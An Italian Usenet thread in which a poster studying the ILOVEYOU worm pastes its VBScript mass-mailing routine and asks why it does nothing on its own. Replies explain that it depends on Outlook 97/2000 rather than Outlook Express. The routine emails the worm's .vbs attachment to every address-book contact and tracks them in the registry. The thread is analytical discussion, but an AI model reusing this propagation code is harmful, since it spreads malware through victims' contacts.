Newsgroup: it.comp.lang.visual-basic
Titolo: Sto esaminando ILOVEYOU

Ciao a tutti.
    Da ieri sto dando un'occhiata ad una specifica parte di codice di
ILOVEYOU; in questa sezione (che ho copiato piu' sotto) il virus si "dedica"
a spulciare la rubrica per poi spedire una mail a tutti i destinatari
presenti in essa.
Fin qui tutto OK.
Ho provato a lanciare solo la procedura in questione ma non succede nulla;
ne' a livello di posta in uscita ne' a livello di Registro.
La cosa piu' ovvia che mi chiedo: forse questa procedura non e' a se' stante
?
Da cosa dipende allora il suo corretto funzionamento ?
Grazie ragazzi (e ragazze).
Francesco.
*********************** INIZIO CODICE ************************
sub spreadtoemail()
 On Error Resume Next
 dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
 set regedit=CreateObject("WScript.Shell")
 set out=WScript.CreateObject("Outlook.Application")
 set mapi=out.GetNameSpace("MAPI")
 for ctrlists=1 to mapi.AddressLists.Count
  set a=mapi.AddressLists(ctrlists)
  x=1
  regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
  if (regv="") then
   regv=1
  end if
  if (int(a.AddressEntries.Count)>int(regv)) then
   for ctrentries=1 to a.AddressEntries.Count
    malead=a.AddressEntries(x)
    regad=""
    regad=regedit.RegRead
    ("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
    if (regad="") then
     set male=out.CreateItem(0)
     male.Recipients.Add(malead)
     male.Subject = "ILOVEYOU"
     male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from
me."
     male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
     male.Send
     regedit.RegWrite
     "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_D
     WORD"
    end if
    x=x+1
  next
  regedit.RegWrite
  "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
  else
  regedit.RegWrite
  "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
 end if
 next
 Set out=Nothing
 Set mapi=Nothing
end sub
*********************** FINE CODICE *****************************

 Da cosa dipende allora il suo corretto funzionamento ?
Dalla presenza di MSOffice con Outlook2000 nel sistema
--
dario...@iol.it
http://dariobrunocorti.freeweb.org
ICQ#: 37438061
--
MS Windows: quante volte vuoi formattare oggi?

 Dalla presenza di MSOffice con Outlook2000 nel sistema
Non basta il Windows Scripting Host !?!??!
Ciaps
Stracca

 Non basta il Windows Scripting Host !?!??!
Per infettare sě, per diffondersi no.


Roal, Stracca, Paperino, ecc...
Manca solo Pal....

 Manca solo Pal....
C'è, c'è, magari lurka solo, ma c'è !
Bye, G.

 piuttosto, e' probabile abbia sussultato per il barbarismo...  :):)
AZZ, non me fai passare una che è una... non intendevo offendere
né te né la lingua ;-)) !
Vabbe', se proprio vuoi la citazione:
________________
http://bertola.eu.org/usenet/faq/testi/ihgdr-faq.txt
3.1 Acronimi e Terminologia di Usenet
    Lurkare    Leggere un newsgroup o una mailing list
    Lurker     Chi legge soltanto senza partecipare attivamente ad un NG o ML
________________
Chissà se lo aggiungeranno nella prossima edizione della Treccani ?
(E con questo mi sono bruciato tutta la quota di OT della settimana entrante...)
Bye, Gaetano. E saluti alla fab-lab !

 Outlook (2000, ma credo basti il 97) ATTENZIONE: NON Outlook Express!
Sě, basta il 97. Perň deve esserci...


 ha scritto nel messaggio
news:ezDT4.21401$F46.2...@news.infostrada.it...


 cioe' chi ha soltanto oe e' immune ?
No, immune no perchè viene infettato e i jpg prendono il volo. Però chi ha
solo oe non contribuisce a mandare in giro ulteriori copie del virus agli
amici nella rubrica. Considerando che il vir in questione ha fatto il giro
del mondo grazie alle aziende che hanno nelle rubriche molte altre aziende
le quali hanno a loro volta ecc. ecc., ha funzionato perchè in genere le
aziende montano office.
Occhio al Xposting.


 Dalla presenza di MSOffice con Outlook2000 nel sistema
e con OE 5 ??? la gestione rubrica non è la stessa ???